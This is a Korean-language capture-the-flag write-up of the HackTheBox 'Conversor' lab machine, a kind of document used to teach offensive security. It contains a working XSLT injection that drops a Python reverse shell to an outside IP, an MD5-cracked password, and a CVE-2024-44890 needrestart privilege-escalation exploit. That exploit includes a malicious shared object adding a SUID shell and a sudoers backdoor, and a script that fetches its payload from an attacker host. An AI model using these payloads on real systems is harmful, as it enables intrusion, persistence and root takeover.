Home HTB - Conversor Write-up
Post
Cancel

HTB - Conversor Write-up

HTB - Conversor 문제 풀이 입니다.

Port Scanning

  • 포트스캐닝 결과 22번(SSH), 80번(WEB)이 오픈되어 있습니다.
1
2
3
4
5
6
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http

Port Scanning Detail

디테일 스캔으로 자세한 옵션을 보면 아래와 같은 정보를 얻을 수 있습니다.

-22 : OpenSSH 8.9p1, Ubuntu -80 : Apache httpd 2.4.52

1
2
3
4
5
6
7
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

Gobuster

Gobuster로 디렉토리 리스팅을 하면 /about 엔드포인트를 확인할 수 있습니다.

해당 엔드포인트 접근 시 파일을 하나 다운로드 받을 수 있는데 해당 파일은 소스코드 입니다.
Result

XSLT with cron tab

install.md 파일을 읽으면 /var/www/conversor.htb/scripts/ 요 아래 경로에 crontab으로 python 파일을 실행한다고 되어 있습니다.

You can also run it with Apache using the app.wsgi file.

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

이를 이용하여 xslt 공격으로 해당 폴더에 rce 연결하는 python 코드를 업로드 하도록 하면 RCE에 성공합니다.

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<xsl:stylesheet
		 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		 xmlns:exploit="http://exslt.org/common" 
		 extension-element-prefixes="exploit"
	 version="1.0">
	<xsl:template match="/">
	 <exploit:document href="/var/www/conversor.htb/scripts/shell.py" method="text">import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.67",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")</exploit:document>
	</xsl:template>
</xsl:stylesheet>

User Hash Crack

  • 해당 유저에게는 user.txt을 읽을 권한이 없습니다.
  • /instance/user.db 가 있고 해당 db 파일을 열면 해시된 패스워드가 존재합니다.
  • fismathack : 5b5c3ac3a1c897c94caad48e6c71fdec
  • md5 크랙을 통해 Keepmesafeandwarm 비밀번호를 획득할 수 있습니다.

Result

이를 이용해 SSH로 접근하면 user.txt FLAG를 읽을 수 있습니다.

LPE(CVE-2024-44890)

sudo -l 에서 needrestart 바이너리에 nopasswd 인것을 확인할 수 있습니다.

Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

해당 버전은 3.7 버전을 사용하고 있으며 해당 버전는 CVE-2024-44890 LPE가 존재합니다.

1
2
3
fismathack@conversor:~$ sudo needrestart -v
[main] eval /etc/needrestart/needrestart.conf
[main] needrestart v3.7          

CVE-2024-44890은 PYTHONPATH 의 잘못된 환경 변수 설정으로 LPE가 가능합니다.

  1. 공격자 PC에 lib.c 파일 만듬
  2. gcc -shared -fPIC -o **init**.so lib.c
    • shared: 공유 라이브러리(.so 파일)를 만듭니다.
    • fPIC : 위치 독립적 코드. 공유 라이브러리에 필요합니다.
    • o __init__.so: 출력 파일은 Python 모듈로 로드되도록 이름을 지정
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* lib.c - Our malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* This is a GCC attribute that marks 'a()' as a constructor. */
/* This function will run AUTOMATICALLY when the library is loaded. */
static void a() __attribute__((constructor));

void a() {
    /* Only run if we are root */
    if(geteuid() == 0) { 
        setuid(0);
        setgid(0);
        
        /* The payload:
           1. Copy the bash shell to /tmp/poc
           2. Make /tmp/poc a SUID binary (owned by root, runs as root)
           3. Add a sudoers rule as a backup persistence method
        */
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}
  1. 피해자 서버에서 runner.sh 를 만들어 실행
  2. Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell. 가 보이면 대기
  3. 공격자 PC에서 새로운 SSH 터널을 연결하여 sudo needrestart 하면 ROOT 쉘을 획득할 수 있음
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

# 2. Download our compiled C payload from our attacker server
#    (Replace 10.10.14.81 with your attacker IP)
curl http://10.10.15.194:8000/__init__.so -o /tmp/malicious/importlib/__init__.so

# 3. Create the "bait" Python script (e.py)
#    This script just loops, waiting for the exploit to work
cat > /tmp/malicious/e.py <<'EOF'
import time
import os

while True:
    try:
        import importlib
    except:
        pass

    # When our C payload runs, it creates /tmp/poc
    # This loop waits for that file to exist
    if os.path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        # The C payload also added a sudoers rule.
        # We use that rule to pop our root shell.
        os.system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

# 4. This is the magic!
#    Run the bait script (e.py) with the PYTHONPATH hijacked.
#    This process will just sit here, waiting for needrestart to scan it.
echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell."
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

Result

ROOT 권한을 획득에 성공할 수 있습니다.

1
2
3
4
Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell.
Got shell!, delete traces in /tmp/poc, /tmp/malicious
whoami
root

Conclusion

처음에 업로드 기능을 보고 xlst, xml 이용해서 RCE 터뜨리는걸 알았는데 /about 엔드포인트에 소스코드를 다운로드 받을 수 있을 지는 처음에 상상할수가 없었다……..

두번째로는 LPE 할때 여러 PoC를 보았는데 잘 안됬다. 알고보니 SSH 연결을 두번 가져가야 익스되는 이슈였고 알아차리는데 매우 오래 걸렸다.

항상 디렉토리버스팅을 해야겠다고 다시 한번 느끼게 된 순간이였고, 익스도 잘 안될 땐 왜 안되지 라는 생각을 많이 가져야겠다는 교훈을 얻을 수 있는 문제였다….